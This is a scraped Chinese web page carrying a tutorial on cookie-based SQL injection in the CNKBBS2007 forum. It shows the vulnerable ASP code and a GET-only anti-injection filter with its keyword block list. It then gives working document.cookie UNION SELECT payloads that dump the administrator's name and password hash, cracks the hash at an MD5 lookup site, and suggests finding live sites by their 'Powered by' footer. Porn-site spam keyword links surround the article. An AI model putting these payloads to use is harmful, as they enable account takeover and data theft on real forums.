六月婷婷综合激情-六月婷婷综合-六月婷婷在线观看-六月婷婷在线-亚洲黄色在线网站-亚洲黄色在线观看网站

明輝手游網中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

cookies的注入基本方法與原理介紹

[摘要]現在很多網站都采用了通用防注入程序, 那么對于這種網站, 我門是否就束手無策了呢?答案是否定的, 因為我們可以采用cookie 注入的方法, 而很多通用防注入程序對這種注入方式都沒有防備。 ...

現在很多網站都采用了通用防注入程序, 那么對于這種網站, 我門是否就束手無策了呢?答案是否定的, 因為我們可以采用cookie 注入的方法, 而很多通用防注入程序對這種注入方式都沒有防備。

在講之前, 我們還是來回顧下ASP腳本中Request對象的知識吧, 上面幾講中都提到Request對象獲取客戶端提交數據常用的是GET和POST二種方式, 同時request對象可以不通過集合來獲得數據, 即直接使用"request("name")"但它的效率低下, 容易出錯, 當我們省略具體的集合名稱時, ASP是按QueryString, from, cookie, servervariable, 集合的順序來搜索的, 在request對象成員中集合cookies, 它的意思是"讀取用戶系統發送的所有cookie值, 我們從第二講關于"cookies欺騙入侵和原理"中知道, cookies是保存在客戶端計算機的一個文本文件, 可以進行修改, 這樣一來, 我們就可以使用Request。 cookie方式來提交變量的值, 從而利用系統的漏洞進行注入攻擊。

我們首先還是來看看中網景論壇的最新版本"(CNKBBS2007)中網景論壇2007v5.0 "官方下載地址"http://www.cnetking.com/websys2.asp?id=26"發布時間是2007-06-06,打開系統的源代碼后,在"user_RxMsg_detail.asp"文件中,有如下代碼:

<!--#include file="opendb.asp" -->

(調用opendb.asp文件)

<!--#include file="char.asp" -->

<%

Call CheckUserLogin(username)

Dim action,s,id

id=request("id") (獲取客戶提交的變量,并賦值給id,并沒過濾,也沒有指定采用那種方式提交)

if id<>"" then Call IsNum(bid) (這是程序員的出現地方,注意bid<>id)

conn.execute("update cnk_Users_RxMsg set readed=1 where id="&id) '設置已讀

rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3

我們再打開"opendb.asp"文件

<%Option Explicit

Response.Buffer = true%>

<!--#include file="fzr.asp" --> (調用fzr.asp文件)

<!--#include file="cnkdata/dbname.asp" -->

<!--#include file="config.asp"-->

..................

以現它是連接數據庫的文件,其中調用了fzr.asp文件,我們再打開fzr.asp文件

<%

'--------版權說明------------------

'SQL通用防注入程序

'Aseanleung

'--------定義部份------------------

Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr

Dim fso1,all_tree2,file1,files,filez,fs1,zruserip

If Request.QueryString<>"" Then (對Request.QueryString提交(客戶采用GET方式提交)的數據進行判斷,并沒有指明對其它方式提交的數據進行判斷)

'自定義需要過濾的字串,用 " " 分隔

Fy_In = "' ; % * and exec insert select delete update count chr mid master truncate char declare script" (阻止了常用的SQL注入的語句)

Fy_Inf = split(Fy_In," ")

For Each Fy_Get In Request.QueryString

For Fy_Xh=0 To Ubound(Fy_Inf)

If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then

zruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")

If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")

Response.Write "內容含有非法字符!請不要有'或and或or等字符, 請去掉這些字符再發!!<br>"

Response.Write "如是要攻擊網站, 系統記錄了你的操作↓<br>"

Response.Write "操作IP:"&zruserip&"<br>"

Response.Write "操作時間:"&Now&"<br>"

Response.Write "操作頁面:"&Request.ServerVariables("URL")&"<br>"

Response.Write "提交方式:GET<br>"

Response.Write "提交參數:"&Fy_Get&"<br>"

Response.Write "提交數據:"&Request.QueryString(Fy_Get)

......................

很明顯的看出它是一個SQL通用防注入程序文件, (以上的紅字是對代碼的解釋)

代碼看好了, 我們來整理下思路:由于程序員的出錯, 導致了id沒有被過濾就被帶到SQL語句中查詢, 這是注入漏洞產生的原因, 雖然程序引入了防注入程序, 阻止了常用的SQL語句使用, 但只對客戶采用GET方式提交的數據進行判斷, 而沒有對其它方式提交的數據進行判斷, 這樣導致了客戶可以使用Request.cookie方式來提交變量的值, 而繞過了SQL防注入程序(總結下:cookie注入產生的條件:系統直接使用"request("name")"獲取客戶提交的數據, 并對客戶提交的變量沒有過濾, 而且在防注入程序中沒有限制Request.cookie, 現在防注入程序3.0只是對客戶采用GET和POST提交方式進行了限制).

原理講好了, 下面我們來學學coolie注入語句吧

cookies的注入語句:alert(document.cookie="id="+escape("這就是asp? id=xx后面xx代表的數值) and (這里是注入攻擊代碼)"));

這兒用到了javascript語言的知識, 我把這語句的意思分解如下, 以便大家理解:

1:"alert()"顯示信息對話框的alert()方法, 它生成的是一個獨立的小窗口, 稱作對話框, 用來顯示一條信息和一個按鈕.(我們在跨站中常用到)

2:"document.cookie"我們在處理cookie時, javascript將它保存為document對象的一個屬性, 其屬性名稱是cookie, 利用這個屬性, 我們可以創建和讀取cookie數據, 在程序中可以使用:"alert(document.cookie)"調用當前頁面的cookie數據項值.在我們啟動瀏覽器打開頁面后, 如果存在相應的cookie, 那么它被裝入到document對象的cookie屬性中, document.cookie屬性采用name=value對應方式保存各個cookie數據項值.document(文檔)對象表示在瀏覽器里顯示的HTML(向頁面輸出數據), cookie屬性是允許讀寫HTTP的cookie;字符串類型

4:escape()函數;它將字符串中所有的非字母字符轉換為用字母數字表示的等價字符串, 具有編碼字符串的功能.一般情況下, cookie通常由服務器端的程序通過HTTP請求和響應頭發送給瀏覽器, 但是, 利用javascript, 可以在本地瀏覽器中設置cookie格式:name=value的屬性是指定cookie數據項的名稱, value是該名稱對應的值, 它是一個字符串, 也可是由一系列字符組成, name和value中不能包含分號, 逗號及空白, (50"and 1=1")有分號, 逗號及空白, 所以我們要用到escape()函數對他們進行編碼

上面整句的意思大家都明白了吧, 就是設置調用當前創建的cookie數據項值, 在設置cookie時, 它們首先保存在瀏覽器的內存中, 退出瀏覽器時, 才能被寫入到硬盤中.(這就是在下面操作中為什么在退出后, 再輸入鏈接的地址原因)

最后我們來測試下, 利用步驟:

1:打開在本地機子上架設的中網景論壇:注冊一個用戶, 我們就會收到管理員發來的一條短信息, 我們打開短信息的鏈接(注意這兒的參數id值)

2:把瀏覽器的URL清空, 輸入"alert(document.cookie="id="+escape("相應參數id值 and 1=1"));之后會彈出一個框框,

3:再次輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員(返回正常的頁面, 說明我們繞過了SQL防注入程序了)

3:再輸入:alert(document.cookie="id="+escape("1 and 1=2"));然后再輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員(時間和內容都沒有顯示了, 說明我們可以進行注入了)

4:通過查看系統數據庫, 得知cnk_users_RxMsg 表里有8個字段, Cnk_Admin表是存放管理員資料的, 其中AdminName, AdminPassword字段分別對應的是賬號和密碼, 我們使用聯合查詢語句, 再輸入:alert(document.cookie="id="+escape("1 and 1=2 union select 1, 2, 3, 4, 5, 6, 7, 8 from Cnk_Admin"))然后把地址欄清空, 輸入http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp, 可經看到顯示了數字4和5

5:再次把地址欄清空, 輸入:alert(document.cookie="id="+escape("1 and 1=2 union select 1, 2, 3, AdminName, AdminPassword, 6, 7, 8 from Cnk_Admin")), 提交后, 清空地址欄, 輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員, 這樣我們就在頁面上看到管理員的密碼和賬號了

6:把得到的密碼放入http://www.cmd5.com網站查詢, 得知管理員的明文密碼是admin, 在網站的首頁我們就可進行登錄后臺了, 我們也可利用關鍵字"Powered by CNKBBS2007 (5.2)"去網上找使用這系統的網站, (不過不是很多啊)大家去練習下手工的注入吧, 可別搞在破壞喲!不過在使用這類注入時, 它需要兩次手動操作才能完成, 這也是容易出錯的地方, 可要細心才行。


上面是電腦上網安全的一些基礎常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。




主站蜘蛛池模板: 最新精品亚洲成a人在线观看 | 香蕉国产综合久久猫咪 | 特级淫片欧美高清视频蜜桃 | 人禽交在线视频免费播放 | 色综合五月 | 日韩综合图区 | 日本韩国伦理片 | 欧美中字 | 亚洲成a人一区二区三区 | 啪啪网站免费观看 | 午夜免费视频网站 | 日韩av一中美av一中文字慕 | 中文字幕不卡免费视频 | 中文字幕免费观看视频 | 亚洲爱色 | 色小说亚洲 | 在线观看国产黄色 | 亚欧美 | 色综合久久综合 | 天天做天天爱天天干 | 日本在线视频二区 | 青青青视频在线免费观看 | 婷婷国产 | 素人约啪 | 亚洲aⅴ天堂 | 天天看夜夜操 | 天天看天天射天天视频 | 亚洲毛片免费视频 | 欧美一级大片在线观看 | 日日干日日 | 四虎国产精品永久地址49 | 亚洲欧美日韩一级特黄在线 | 日日摸夜夜爽人人添 | 色播放| 日本欧美国产精品 | 日本又黄又硬又粗好爽视频免费 | 一区二区三区在线 | 网站 | 四虎影视在线影院www | 性久久久久 | 天天躁天天碰天天看 | 午夜96影视 |